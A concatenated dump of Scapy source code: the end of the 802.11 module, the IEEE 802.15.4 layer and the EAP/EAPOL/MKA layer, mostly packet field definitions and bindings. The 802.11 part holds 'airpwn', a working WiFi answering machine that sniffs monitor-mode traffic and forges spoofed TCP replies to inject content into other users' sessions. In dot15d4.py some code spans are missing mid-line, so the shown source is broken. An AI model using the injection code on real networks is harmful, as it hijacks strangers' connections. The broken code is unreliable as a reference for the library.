BitField("key_id", 0, 2), # BitField("ext_iv", 0, 1), # => LE = reversed order BitField("res1", 0, 5), # ByteField("PN2", 0), ByteField("PN3", 0), ByteField("PN4", 0), ByteField("PN5", 0), # data StrField("data", None), ] ############ # Bindings # ############ bind_top_down(RadioTap, Dot11FCS, present=2, Flags=16) bind_top_down(Dot11, Dot11QoS, type=2, subtype=0xc) bind_layers(PrismHeader, Dot11,) bind_layers(Dot11, LLC, type=2) bind_layers(Dot11QoS, LLC,) # 802.11-2016 9.2.4.1.3 Type and Subtype subfields bind_layers(Dot11, Dot11AssoReq, subtype=0, type=0) bind_layers(Dot11, Dot11AssoResp, subtype=1, type=0) bind_layers(Dot11, Dot11ReassoReq, subtype=2, type=0) bind_layers(Dot11, Dot11ReassoResp, subtype=3, type=0) bind_layers(Dot11, Dot11ProbeReq, subtype=4, type=0) bind_layers(Dot11, Dot11ProbeResp, subtype=5, type=0) bind_layers(Dot11, Dot11Beacon, subtype=8, type=0) bind_layers(Dot11, Dot11S1GBeacon, subtype=1, type=3) bind_layers(Dot11, Dot11ATIM, subtype=9, type=0) bind_layers(Dot11, Dot11Disas, subtype=10, type=0) bind_layers(Dot11, Dot11Auth, subtype=11, type=0) bind_layers(Dot11, Dot11Deauth, subtype=12, type=0) bind_layers(Dot11, Dot11Action, subtype=13, type=0) bind_layers(Dot11, Dot11Ack, subtype=13, type=1) bind_layers(Dot11Beacon, Dot11Elt,) bind_layers(Dot11S1GBeacon, Dot11Elt,) bind_layers(Dot11AssoReq, Dot11Elt,) bind_layers(Dot11AssoResp, Dot11Elt,) bind_layers(Dot11ReassoReq, Dot11Elt,) bind_layers(Dot11ReassoResp, Dot11Elt,) bind_layers(Dot11ProbeReq, Dot11Elt,) bind_layers(Dot11ProbeResp, Dot11Elt,) bind_layers(Dot11Auth, Dot11Elt,) bind_layers(Dot11Elt, Dot11Elt,) bind_layers(Dot11TKIP, conf.raw_layer) bind_layers(Dot11CCMP, conf.raw_layer) bind_layers(Dot11Action, Dot11SpectrumManagement, category=0x00) bind_layers(Dot11SpectrumManagement, Dot11CSA, action=4) bind_layers(Dot11Action, Dot11WNM, category=0x0A) bind_layers(Dot11WNM, Dot11BSSTMRequest, action=7) bind_layers(Dot11WNM, Dot11BSSTMResponse, action=8) conf.l2types.register(DLT_IEEE802_11, Dot11) conf.l2types.register_num2layer(801, Dot11) conf.l2types.register(DLT_PRISM_HEADER, PrismHeader) conf.l2types.register_num2layer(802, PrismHeader) conf.l2types.register(DLT_IEEE802_11_RADIO, RadioTap) conf.l2types.register_num2layer(803, RadioTap) #################### # Other WiFi utils # #################### class WiFi_am(AnsweringMachine): """Before using this, initialize "iffrom" and "ifto" interfaces: iwconfig iffrom mode monitor iwpriv orig_ifto hostapd 1 ifconfig ifto up note: if ifto=wlan0ap then orig_ifto=wlan0 note: ifto and iffrom must be set on the same channel ex: ifconfig eth1 up iwconfig eth1 mode monitor iwconfig eth1 channel 11 iwpriv wlan0 hostapd 1 ifconfig wlan0ap up iwconfig wlan0 channel 11 iwconfig wlan0 essid dontexist iwconfig wlan0 mode managed """ function_name = "airpwn" filter = None def parse_options(self, iffrom=conf.iface, ifto=conf.iface, replace="", pattern="", ignorepattern=""): self.iffrom = iffrom self.ifto = ifto self.ptrn = re.compile(pattern.encode()) self.iptrn = re.compile(ignorepattern.encode()) self.replace = replace def is_request(self, pkt): if not isinstance(pkt, Dot11): return 0 if not pkt.FCfield & 1: return 0 if not pkt.haslayer(TCP): return 0 tcp = pkt.getlayer(TCP) pay = raw(tcp.payload) if not self.ptrn.match(pay): return 0 if self.iptrn.match(pay) is True: return 0 return True def make_reply(self, p): ip = p.getlayer(IP) tcp = p.getlayer(TCP) pay = raw(tcp.payload) p[IP].underlayer.remove_payload() p.FCfield = "from_DS" p.addr1, p.addr2 = p.addr2, p.addr1 p /= IP(src=ip.dst, dst=ip.src) p /= TCP(sport=tcp.dport, dport=tcp.sport, seq=tcp.ack, ack=tcp.seq + len(pay), flags="PA") q = p.copy() p /= self.replace q.ID += 1 q.getlayer(TCP).flags = "RA" q.getlayer(TCP).seq += len(self.replace) return [p, q] def print_reply(self, query, *reply): p = reply[0][0] print(p.sprintf("Sent %IP.src%:%IP.sport% > %IP.dst%:%TCP.dport%")) def send_reply(self, reply): sendp(reply, iface=self.ifto, **self.optsend) def sniff(self): sniff(iface=self.iffrom, **self.optsniff) conf.stats_dot11_protocols += [Dot11WEP, Dot11Beacon, ] class Dot11PacketList(PacketList): def __init__(self, res=None, name="Dot11List", stats=None): if stats is None: stats = conf.stats_dot11_protocols PacketList.__init__(self, res, name, stats) def toEthernet(self): data = [x[Dot11] for x in self.res if Dot11 in x and x.type == 2] r2 = [] for p in data: q = p.copy() q.unwep() r2.append(Ether() / q.payload.payload.payload) # Dot11/LLC/SNAP/IP return PacketList(r2, name="Ether from %s" % self.listname) ================================================ FILE: scapy/layers/dot15d4.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi # Copyright (C) Ryan Speers 2011-2012 # Copyright (C) Roger Meyer : 2012-03-10 Added frames # Copyright (C) Gabriel Potter : 2018 # Copyright (C) Dimitrios-Georgios Akestoridis """ Wireless MAC according to IEEE 802.15.4. """ import struct from scapy.compat import orb, chb from scapy.error import warning from scapy.config import conf from scapy.data import DLT_IEEE802_15_4_WITHFCS, DLT_IEEE802_15_4_NOFCS from scapy.packet import Packet, bind_layers from scapy.fields import ( BitEnumField, BitField, ByteEnumField, ByteField, ConditionalField, Emph, FCSField, Field, FieldListField, LELongField, MultipleTypeField, PacketField, StrFixedLenField, XByteField, XLEIntField, XLEShortField, ) # Fields # class dot15d4AddressField(Field): __slots__ = ["adjust", "length_of"] def __init__(self, name, default, length_of=None, fmt=" %Dot15d4.fcf_srcaddrmode% ) Seq#%Dot15d4.seqnum%") # noqa: E501 def guess_payload_class(self, payload): if self.fcf_frametype == 0x00: return Dot15d4Beacon elif self.fcf_frametype == 0x01: return Dot15d4Data elif self.fcf_frametype == 0x02: return Dot15d4Ack elif self.fcf_frametype == 0x03: return Dot15d4Cmd else: return Packet.guess_payload_class(self, payload) def answers(self, other): if isinstance(other, Dot15d4): if self.fcf_frametype == 2: # ack if self.seqnum != other.seqnum: # check for seqnum matching return 0 elif other.fcf_ackreq == 1: # check that an ack was indeed requested # noqa: E501 return 1 return 0 def post_build(self, p, pay): # This just forces destaddrmode to None for Ack frames. if self.fcf_frametype == 2 and self.fcf_destaddrmode != 0: self.fcf_destaddrmode = 0 return p[:1] + \ chb((self.fcf_srcaddrmode << 6) + (self.fcf_framever << 4)) \ + p[2:] + pay else: return p + pay class Dot15d4FCS(Dot15d4): ''' This class is a drop-in replacement for the Dot15d4 class above, except it expects a FCS/checksum in the input, and produces one in the output. This provides the user flexibility, as many 802.15.4 interfaces will have an AUTO_CRC setting # noqa: E501 that will validate the FCS/CRC in firmware, and add it automatically when transmitting. # noqa: E501 ''' name = "802.15.4 - FCS" match_subclass = True fields_desc = Dot15d4.fields_desc + [FCSField("fcs", None, fmt=" %Dot15d4Data.dest_panid%:%Dot15d4Data.dest_addr% )") # noqa: E501 class Dot15d4Beacon(Packet): name = "802.15.4 Beacon" fields_desc = [ XLEShortField("src_panid", 0x0), dot15d4AddressField("src_addr", None, length_of="fcf_srcaddrmode"), # Security field present if fcf_security == True ConditionalField(PacketField("aux_sec_header", Dot15d4AuxSecurityHeader(), Dot15d4AuxSecurityHeader), # noqa: E501 lambda pkt:pkt.underlayer.getfieldval("fcf_security") is True), # noqa: E501 # Superframe spec field: BitField("sf_sforder", 15, 4), # not used by ZigBee BitField("sf_beaconorder", 15, 4), # not used by ZigBee BitEnumField("sf_assocpermit", 0, 1, [False, True]), BitEnumField("sf_pancoord", 0, 1, [False, True]), BitField("sf_reserved", 0, 1), # not used by ZigBee BitEnumField("sf_battlifeextend", 0, 1, [False, True]), # not used by ZigBee # noqa: E501 BitField("sf_finalcapslot", 15, 4), # not used by ZigBee # GTS Fields # GTS Specification (1 byte) BitEnumField("gts_spec_permit", 1, 1, [False, True]), # GTS spec bit 7, true=1 iff PAN cord is accepting GTS requests # noqa: E501 BitField("gts_spec_reserved", 0, 4), # GTS spec bits 3-6 BitField("gts_spec_desccount", 0, 3), # GTS spec bits 0-2 # GTS Directions (0 or 1 byte) ConditionalField(BitField("gts_dir_reserved", 0, 1), lambda pkt:pkt.getfieldval("gts_spec_desccount") != 0), # noqa: E501 ConditionalField(BitField("gts_dir_mask", 0, 7), lambda pkt:pkt.getfieldval("gts_spec_desccount") != 0), # noqa: E501 # GTS List (variable size) # TODO add a Packet/FieldListField tied to 3bytes per count in gts_spec_desccount # noqa: E501 # Pending Address Fields: # Pending Address Specification (1 byte) BitField("pa_reserved_1", 0, 1), BitField("pa_num_long", 0, 3), # number of long addresses pending BitField("pa_reserved_2", 0, 1), BitField("pa_num_short", 0, 3), # number of short addresses pending # Address List (var length) FieldListField("pa_short_addresses", [], XLEShortField("", 0x0000), count_from=lambda pkt: pkt.pa_num_short), FieldListField("pa_long_addresses", [], dot15d4AddressField("", 0, adjust=lambda pkt, x: 8), count_from=lambda pkt: pkt.pa_num_long), # TODO beacon payload ] def mysummary(self): return self.sprintf("802.15.4 Beacon ( %Dot15d4Beacon.src_panid%:%Dot15d4Beacon.src_addr% ) assocPermit(%Dot15d4Beacon.sf_assocpermit%) panCoord(%Dot15d4Beacon.sf_pancoord%)") # noqa: E501 class Dot15d4Cmd(Packet): name = "802.15.4 Command" fields_desc = [ XLEShortField("dest_panid", 0xFFFF), # Users should correctly set the dest_addr field. By default is 0x0 for construction to work. # noqa: E501 dot15d4AddressField("dest_addr", 0x0, length_of="fcf_destaddrmode"), ConditionalField(XLEShortField("src_panid", 0x0), \ lambda pkt:util_srcpanid_present(pkt)), ConditionalField(dot15d4AddressField("src_addr", None, length_of="fcf_srcaddrmode"), lambda pkt:pkt.underlayer.getfieldval("fcf_srcaddrmode") != 0), # noqa: E501 # Security field present if fcf_security == True ConditionalField(PacketField("aux_sec_header", Dot15d4AuxSecurityHeader(), Dot15d4AuxSecurityHeader), # noqa: E501 lambda pkt:pkt.underlayer.getfieldval("fcf_security") is True), # noqa: E501 ByteEnumField("cmd_id", 0, { 1: "AssocReq", # Association request 2: "AssocResp", # Association response 3: "DisassocNotify", # Disassociation notification 4: "DataReq", # Data request 5: "PANIDConflictNotify", # PAN ID conflict notification 6: "OrphanNotify", # Orphan notification 7: "BeaconReq", # Beacon request 8: "CoordRealign", # coordinator realignment 9: "GTSReq" # GTS request # 0x0a - 0xff reserved }), # TODO command payload ] def mysummary(self): return self.sprintf("802.15.4 Command %Dot15d4Cmd.cmd_id% ( %Dot15dCmd.src_panid%:%Dot15d4Cmd.src_addr% -> %Dot15d4Cmd.dest_panid%:%Dot15d4Cmd.dest_addr% )") # noqa: E501 # command frame payloads are complete: DataReq, PANIDConflictNotify, OrphanNotify, BeaconReq don't have any payload # noqa: E501 # Although BeaconReq can have an optional ZigBee Beacon payload (implemented in ZigBeeBeacon) # noqa: E501 def guess_payload_class(self, payload): if self.cmd_id == 1: return Dot15d4CmdAssocReq elif self.cmd_id == 2: return Dot15d4CmdAssocResp elif self.cmd_id == 3: return Dot15d4CmdDisassociation elif self.cmd_id == 8: return Dot15d4CmdCoordRealign elif self.cmd_id == 9: return Dot15d4CmdGTSReq else: return Packet.guess_payload_class(self, payload) class Dot15d4CmdCoordRealign(Packet): name = "802.15.4 Coordinator Realign Command" fields_desc = [ # PAN Identifier (2 octets) XLEShortField("panid", 0xFFFF), # Coordinator Short Address (2 octets) XLEShortField("coord_address", 0x0000), # Logical Channel (1 octet): the logical channel that the coordinator intends to use for all future communications # noqa: E501 ByteField("channel", 0), # Short Address (2 octets) XLEShortField("dev_address", 0xFFFF), ] def mysummary(self): return self.sprintf("802.15.4 Coordinator Realign Payload ( PAN ID: %Dot15dCmdCoordRealign.pan_id% : channel %Dot15d4CmdCoordRealign.channel% )") # noqa: E501 def guess_payload_class(self, payload): if len(payload) == 1: return Dot15d4CmdCoordRealignPage else: return Packet.guess_payload_class(self, payload) class Dot15d4CmdCoordRealignPage(Packet): name = "802.15.4 Coordinator Realign Page" fields_desc = [ ByteField("channel_page", 0), ] # Utility Functions # def util_srcpanid_present(pkt): '''A source PAN ID is included if and only if both src addr mode != 0 and PAN ID Compression in FCF == 0''' # noqa: E501 if (pkt.underlayer.getfieldval("fcf_srcaddrmode") != 0) and (pkt.underlayer.getfieldval("fcf_panidcompress") == 0): # noqa: E501 return True else: return False class Dot15d4CmdAssocReq(Packet): name = "802.15.4 Association Request Payload" fields_desc = [ BitField("allocate_address", 0, 1), # Allocate Address BitField("security_capability", 0, 1), # Security Capability BitField("reserved2", 0, 1), # bit 5 is reserved BitField("reserved1", 0, 1), # bit 4 is reserved BitField("receiver_on_when_idle", 0, 1), # Receiver On When Idle BitField("power_source", 0, 1), # Power Source BitField("device_type", 0, 1), # Device Type BitField("alternate_pan_coordinator", 0, 1), # Alternate PAN Coordinator # noqa: E501 ] def mysummary(self): return self.sprintf("802.15.4 Association Request Payload ( Alt PAN Coord: %Dot15d4CmdAssocReq.alternate_pan_coordinator% Device Type: %Dot15d4CmdAssocReq.device_type% )") # noqa: E501 class Dot15d4CmdAssocResp(Packet): name = "802.15.4 Association Response Payload" fields_desc = [ XLEShortField("short_address", 0xFFFF), # Address assigned to device from coordinator (0xFFFF == none) # noqa: E501 # Association Status # 0x00 == successful # 0x01 == PAN at capacity # 0x02 == PAN access denied # 0x03 - 0x7f == Reserved # 0x80 - 0xff == Reserved for MAC primitive enumeration values ByteEnumField("association_status", 0x00, {0: 'successful', 1: 'PAN_at_capacity', 2: 'PAN_access_denied'}), # noqa: E501 ] def mysummary(self): return self.sprintf("802.15.4 Association Response Payload ( Association Status: %Dot15d4CmdAssocResp.association_status% Assigned Address: %Dot15d4CmdAssocResp.short_address% )") # noqa: E501 class Dot15d4CmdDisassociation(Packet): name = "802.15.4 Disassociation Notification Payload" fields_desc = [ # Disassociation Reason # 0x00 == Reserved # 0x01 == The coordinator wishes the device to leave the PAN # 0x02 == The device wishes to leave the PAN # 0x03 - 0x7f == Reserved # 0x80 - 0xff == Reserved for MAC primitive enumeration values ByteEnumField("disassociation_reason", 0x02, {1: 'coord_wishes_device_to_leave', 2: 'device_wishes_to_leave'}), # noqa: E501 ] def mysummary(self): return self.sprintf("802.15.4 Disassociation Notification Payload ( Disassociation Reason %Dot15d4CmdDisassociation.disassociation_reason% )") # noqa: E501 class Dot15d4CmdGTSReq(Packet): name = "802.15.4 GTS request command" fields_desc = [ # GTS Characteristics field (1 octet) # Reserved (bits 6-7) BitField("reserved", 0, 2), # Characteristics Type (bit 5) BitField("charact_type", 0, 1), # GTS Direction (bit 4) BitField("gts_dir", 0, 1), # GTS Length (bits 0-3) BitField("gts_len", 0, 4), ] def mysummary(self): return self.sprintf("802.15.4 GTS Request Command ( %Dot15d4CmdGTSReq.gts_len% : %Dot15d4CmdGTSReq.gts_dir% )") # noqa: E501 # PAN ID conflict notification command frame is not necessary, only Dot15d4Cmd with cmd_id = 5 ("PANIDConflictNotify") # noqa: E501 # Orphan notification command not necessary, only Dot15d4Cmd with cmd_id = 6 ("OrphanNotify") # noqa: E501 # Bindings # bind_layers(Dot15d4, Dot15d4Beacon, fcf_frametype=0) bind_layers(Dot15d4, Dot15d4Data, fcf_frametype=1) bind_layers(Dot15d4, Dot15d4Ack, fcf_frametype=2) bind_layers(Dot15d4, Dot15d4Cmd, fcf_frametype=3) # DLT Types # conf.l2types.register(DLT_IEEE802_15_4_WITHFCS, Dot15d4FCS) conf.l2types.register(DLT_IEEE802_15_4_NOFCS, Dot15d4) ================================================ FILE: scapy/layers/eap.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Extensible Authentication Protocol (EAP) """ import struct from scapy.fields import ( BitEnumField, BitField, ByteEnumField, ByteField, ConditionalField, FieldLenField, FieldListField, IntField, LenField, LongField, PacketField, PacketListField, PadField, ShortField, StrLenField, XByteField, XIntField, XStrField, XStrFixedLenField, XStrLenField, ) from scapy.packet import ( Packet, Padding, bind_bottom_up, bind_layers, bind_top_down, ) from scapy.layers.l2 import SourceMACField, Ether, CookedLinux, GRE, SNAP from scapy.config import conf from scapy.compat import orb, chb # # EAPOL # ######################################################################### # # EAPOL protocol version # IEEE Std 802.1X-2010 - Section 11.3.1 ######################################################################### # eapol_versions = { 0x1: "802.1X-2001", 0x2: "802.1X-2004", 0x3: "802.1X-2010", } ######################################################################### # # EAPOL Packet Types # IEEE Std 802.1X-2010 - Table 11.3 ######################################################################### # eapol_types = { 0x0: "EAP-Packet", # "EAPOL-EAP" in 801.1X-2010 0x1: "EAPOL-Start", 0x2: "EAPOL-Logoff", 0x3: "EAPOL-Key", 0x4: "EAPOL-Encapsulated-ASF-Alert", 0x5: "EAPOL-MKA", 0x6: "EAPOL-Announcement (Generic)", 0x7: "EAPOL-Announcement (Specific)", 0x8: "EAPOL-Announcement-Req" } class EAPOL(Packet): """ EAPOL - IEEE Std 802.1X-2010 """ name = "EAPOL" fields_desc = [ ByteEnumField("version", 1, eapol_versions), ByteEnumField("type", 0, eapol_types), LenField("len", None, "H") ] EAP_PACKET = 0 START = 1 LOGOFF = 2 KEY = 3 ASF = 4 def extract_padding(self, s): tmp_len = self.len return s[:tmp_len], s[tmp_len:] def hashret(self): return chb(self.type) + self.payload.hashret() def answers(self, other): if isinstance(other, EAPOL): if ((self.type == self.EAP_PACKET) and (other.type == self.EAP_PACKET)): return self.payload.answers(other.payload) return 0 def mysummary(self): return self.sprintf("EAPOL %EAPOL.type%") # # EAP # ######################################################################### # # EAP methods types # http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-4 ######################################################################### # eap_types = { 0: "Reserved", 1: "Identity", 2: "Notification", 3: "Legacy Nak", 4: "MD5-Challenge", 5: "One-Time Password (OTP)", 6: "Generic Token Card (GTC)", 7: "Allocated - RFC3748", 8: "Allocated - RFC3748", 9: "RSA Public Key Authentication", 10: "DSS Unilateral", 11: "KEA", 12: "KEA-VALIDATE", 13: "EAP-TLS", 14: "Defender Token (AXENT)", 15: "RSA Security SecurID EAP", 16: "Arcot Systems EAP", 17: "EAP-Cisco Wireless", 18: "GSM Subscriber Identity Modules (EAP-SIM)", 19: "SRP-SHA1", 20: "Unassigned", 21: "EAP-TTLS", 22: "Remote Access Service", 23: "EAP-AKA Authentication", 24: "EAP-3Com Wireless", 25: "PEAP", 26: "MS-EAP-Authentication", 27: "Mutual Authentication w/Key Exchange (MAKE)", 28: "CRYPTOCard", 29: "EAP-MSCHAP-V2", 30: "DynamID", 31: "Rob EAP", 32: "Protected One-Time Password", 33: "MS-Authentication-TLV", 34: "SentriNET", 35: "EAP-Actiontec Wireless", 36: "Cogent Systems Biometrics Authentication EAP", 37: "AirFortress EAP", 38: "EAP-HTTP Digest", 39: "SecureSuite EAP", 40: "DeviceConnect EAP", 41: "EAP-SPEKE", 42: "EAP-MOBAC", 43: "EAP-FAST", 44: "ZoneLabs EAP (ZLXEAP)", 45: "EAP-Link", 46: "EAP-PAX", 47: "EAP-PSK", 48: "EAP-SAKE", 49: "EAP-IKEv2", 50: "EAP-AKA", 51: "EAP-GPSK", 52: "EAP-pwd", 53: "EAP-EKE Version 1", 54: "EAP Method Type for PT-EAP", 55: "TEAP", 254: "Reserved for the Expanded Type", 255: "Experimental", } ######################################################################### # # EAP codes # http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-1 ######################################################################### # eap_codes = { 1: "Request", 2: "Response", 3: "Success", 4: "Failure", 5: "Initiate", 6: "Finish" } class EAP(Packet): """ RFC 3748 - Extensible Authentication Protocol (EAP) """ name = "EAP" fields_desc = [ ByteEnumField("code", 4, eap_codes), ByteField("id", 0), ShortField("len", None), ConditionalField(ByteEnumField("type", 0, eap_types), lambda pkt:pkt.code not in [ EAP.SUCCESS, EAP.FAILURE]), ConditionalField( FieldListField("desired_auth_types", [], ByteEnumField("auth_type", 0, eap_types), length_from=lambda pkt: pkt.len - 4), lambda pkt:pkt.code == EAP.RESPONSE and pkt.type == 3), ConditionalField( StrLenField("identity", '', length_from=lambda pkt: pkt.len - 5), lambda pkt: pkt.code == EAP.RESPONSE and hasattr(pkt, 'type') and pkt.type == 1), # noqa: E501 ConditionalField( StrLenField("message", '', length_from=lambda pkt: pkt.len - 5), lambda pkt: pkt.code == EAP.REQUEST and hasattr(pkt, 'type') and pkt.type == 1) # noqa: E501 ] ######################################################################### # # EAP codes # http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-1 ######################################################################### # REQUEST = 1 RESPONSE = 2 SUCCESS = 3 FAILURE = 4 INITIATE = 5 FINISH = 6 registered_methods = {} @classmethod def register_variant(cls): cls.registered_methods[cls.type.default] = cls @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: c = orb(_pkt[0]) if c in [1, 2] and len(_pkt) >= 5: t = orb(_pkt[4]) return cls.registered_methods.get(t, cls) return cls def answers(self, other): if isinstance(other, EAP): if self.code == self.REQUEST: return 0 elif self.code == self.RESPONSE: if ((other.code == self.REQUEST) and (other.type == self.type)): return 1 elif other.code == self.RESPONSE: return 1 return 0 def mysummary(self): summary_str = "EAP %{eap_class}.code% %{eap_class}.type%".format( eap_class=self.__class__.__name__ ) if self.type == 1 and self.code == EAP.RESPONSE: summary_str += " %{eap_class}.identity%".format( eap_class=self.__class__.__name__ ) return self.sprintf(summary_str) def post_build(self, p, pay): if self.len is None: tmp_len = len(p) + len(pay) tmp_p = p[:2] + chb((tmp_len >> 8) & 0xff) + chb(tmp_len & 0xff) p = tmp_p + p[4:] return p + pay def guess_payload_class(self, _): return Padding class EAP_MD5(EAP): """ RFC 3748 - "Extensible Authentication Protocol (EAP)" """ name = "EAP-MD5" match_subclass = True fields_desc = [ ByteEnumField("code", 1, eap_codes), ByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="optional_name", adjust=lambda p, x: x + 6 + (p.value_size or 0)), ByteEnumField("type", 4, eap_types), FieldLenField("value_size", None, fmt="B", length_of="value"), XStrLenField("value", '', length_from=lambda p: p.value_size), XStrLenField("optional_name", '', length_from=lambda p: 0 if p.len is None or p.value_size is None else (p.len - p.value_size - 6)) # noqa: E501 ] class EAP_TLS(EAP): """ RFC 5216 - "The EAP-TLS Authentication Protocol" """ name = "EAP-TLS" match_subclass = True fields_desc = [ ByteEnumField("code", 1, eap_codes), ByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="tls_data", adjust=lambda p, x: x + 10 if p.L == 1 else x + 6), ByteEnumField("type", 13, eap_types), BitField('L', 0, 1), BitField('M', 0, 1), BitField('S', 0, 1), BitField('reserved', 0, 5), ConditionalField(IntField('tls_message_len', 0), lambda pkt: pkt.L == 1), # noqa: E501 XStrLenField('tls_data', '', length_from=lambda pkt: 0 if pkt.len is None else pkt.len - (6 + 4 * pkt.L)) # noqa: E501 ] class EAP_TTLS(EAP): """ RFC 5281 - "Extensible Authentication Protocol Tunneled Transport Layer Security Authenticated Protocol Version 0 (EAP-TTLSv0)" """ name = "EAP-TTLS" match_subclass = True fields_desc = [ ByteEnumField("code", 1, eap_codes), ByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="data", adjust=lambda p, x: x + 10 if p.L == 1 else x + 6), ByteEnumField("type", 21, eap_types), BitField("L", 0, 1), BitField("M", 0, 1), BitField("S", 0, 1), BitField("reserved", 0, 2), BitField("version", 0, 3), ConditionalField(IntField("message_len", 0), lambda pkt: pkt.L == 1), XStrLenField("data", "", length_from=lambda pkt: 0 if pkt.len is None else pkt.len - (6 + 4 * pkt.L)) # noqa: E501 ] class EAP_PEAP(EAP): """ draft-josefsson-pppext-eap-tls-eap-05.txt - "Protected EAP Protocol (PEAP)" """ name = "PEAP" match_subclass = True fields_desc = [ ByteEnumField("code", 1, eap_codes), ByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="tls_data", adjust=lambda p, x: x + 10 if p.L == 1 else x + 6), ByteEnumField("type", 25, eap_types), BitField("L", 0, 1), BitField("M", 0, 1), BitField("S", 0, 1), BitField("reserved", 0, 3), BitField("version", 1, 2), ConditionalField(IntField("tls_message_len", 0), lambda pkt: pkt.L == 1), # noqa: E501 XStrLenField("tls_data", "", length_from=lambda pkt: 0 if pkt.len is None else pkt.len - (6 + 4 * pkt.L)) # noqa: E501 ] class EAP_FAST(EAP): """ RFC 4851 - "The Flexible Authentication via Secure Tunneling Extensible Authentication Protocol Method (EAP-FAST)" """ name = "EAP-FAST" match_subclass = True fields_desc = [ ByteEnumField("code", 1, eap_codes), ByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="data", adjust=lambda p, x: x + 10 if p.L == 1 else x + 6), ByteEnumField("type", 43, eap_types), BitField('L', 0, 1), BitField('M', 0, 1), BitField('S', 0, 1), BitField('reserved', 0, 2), BitField('version', 0, 3), ConditionalField(IntField('message_len', 0), lambda pkt: pkt.L == 1), XStrLenField('data', '', length_from=lambda pkt: 0 if pkt.len is None else pkt.len - (6 + 4 * pkt.L)) # noqa: E501 ] class LEAP(EAP): """ Cisco LEAP (Lightweight EAP) https://freeradius.org/rfc/leap.txt """ name = "Cisco LEAP" match_subclass = True fields_desc = [ ByteEnumField("code", 1, eap_codes), ByteField("id", 0), ShortField("len", None), ByteEnumField("type", 17, eap_types), ByteField('version', 1), XByteField('unused', 0), FieldLenField("count", None, "challenge_response", "B", adjust=lambda p, x: len(p.challenge_response)), # noqa: E501 XStrLenField("challenge_response", "", length_from=lambda p: 0 or p.count), # noqa: E501 StrLenField("username", "", length_from=lambda p: p.len - (8 + (0 or p.count))) # noqa: E501 ] ############################################################################# # IEEE 802.1X-2010 - EAPOL-Key ############################################################################# # sect 11.9 of 802.1X-2010 # AND sect 12.7.2 of 802.11-2016 class EAPOL_KEY(Packet): name = "EAPOL_KEY" deprecated_fields = { "key": ("key_data", "2.6.0"), "len": ("key_length", "2.6.0"), } fields_desc = [ ByteEnumField("key_descriptor_type", 1, {1: "RC4", 2: "RSN"}), # Key Information BitField("res2", 0, 2), BitField("smk_message", 0, 1), BitField("encrypted_key_data", 0, 1), BitField("request", 0, 1), BitField("error", 0, 1), BitField("secure", 0, 1), BitField("has_key_mic", 1, 1), BitField("key_ack", 0, 1), BitField("install", 0, 1), BitField("res", 0, 2), BitEnumField("key_type", 0, 1, {0: "Group/SMK", 1: "Pairwise"}), BitEnumField("key_descriptor_type_version", 0, 3, { 1: "HMAC-MD5+ARC4", 2: "HMAC-SHA1-128+AES-128", 3: "AES-128-CMAC+AES-128", }), # LenField("key_length", None, "H"), LongField("key_replay_counter", 0), XStrFixedLenField("key_nonce", "", 32), XStrFixedLenField("key_iv", "", 16), XStrFixedLenField("key_rsc", "", 8), XStrFixedLenField("key_id", "", 8), XStrFixedLenField("key_mic", "", 16), # XXX size can be 24 FieldLenField("key_data_length", None, length_of="key_data"), XStrLenField("key_data", "", length_from=lambda pkt: pkt.key_data_length) ] def extract_padding(self, s): return s[:self.key_length], s[self.key_length:] def hashret(self): return struct.pack("!B", self.type) + self.payload.hashret() def answers(self, other): if isinstance(other, EAPOL_KEY) and \ other.descriptor_type == self.descriptor_type: return 1 return 0 def guess_key_number(self): """ Determines 4-way handshake key number :return: key number (1-4), or 0 if it cannot be determined """ if self.key_type == 1: if self.key_ack == 1: if self.has_key_mic == 0: return 1 if self.install == 1: return 3 else: if self.secure == 0: return 2 return 4 return 0 ############################################################################# # IEEE 802.1X-2010 - MACsec Key Agreement (MKA) protocol ############################################################################# ######################################################################### # # IEEE 802.1X-2010 standard # Section 11.11.1 ######################################################################### # _parameter_set_types = { 1: "Live Peer List", 2: "Potential Peer List", 3: "MACsec SAK Use", 4: "Distributed SAK", 5: "Distributed CAK", 6: "KMD", 7: "Announcement", 255: "ICV Indicator" } # Used by MKAParamSet::dispatch_hook() to instantiate the appropriate class _param_set_cls = { 1: "MKALivePeerListParamSet", 2: "MKAPotentialPeerListParamSet", 3: "MKASAKUseParamSet", 4: "MKADistributedSAKParamSet", 255: "MKAICVSet", } class MACsecSCI(Packet): """ Secure Channel Identifier. """ ######################################################################### # # IEEE 802.1AE-2006 standard # Section 9.9 ######################################################################### # name = "SCI" fields_desc = [ SourceMACField("system_identifier"), ShortField("port_identifier", 0) ] def extract_padding(self, s): return "", s class MKAParamSet(Packet): """ Class from which every parameter set class inherits (except MKABasicParamSet, which has no "Parameter set type" field, and must come first in the list of parameter sets). """ MACSEC_DEFAULT_ICV_LEN = 16 EAPOL_MKA_DEFAULT_KEY_WRAP_LEN = 24 @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): """ Returns the right parameter set class. """ cls = conf.raw_layer if _pkt is not None: ptype = orb(_pkt[0]) return globals().get(_param_set_cls.get(ptype), conf.raw_layer) return cls class MKABasicParamSet(Packet): """ Basic Parameter Set (802.1X-2010, section 11.11). """ ######################################################################### # # IEEE 802.1X-2010 standard # Section 11.11 ######################################################################### # name = "Basic Parameter Set" fields_desc = [ ByteField("mka_version_id", 0), ByteField("key_server_priority", 0), BitField("key_server", 0, 1), BitField("macsec_desired", 0, 1), BitField("macsec_capability", 0, 2), BitField("param_set_body_len", 0, 12), PacketField("SCI", MACsecSCI(), MACsecSCI), XStrFixedLenField("actor_member_id", "", length=12), XIntField("actor_message_number", 0), XIntField("algorithm_agility", 0), PadField( XStrLenField( "cak_name", "", length_from=lambda pkt: (pkt.param_set_body_len - 28) ), 4, padwith=b"\x00" ) ] def extract_padding(self, s): return "", s class 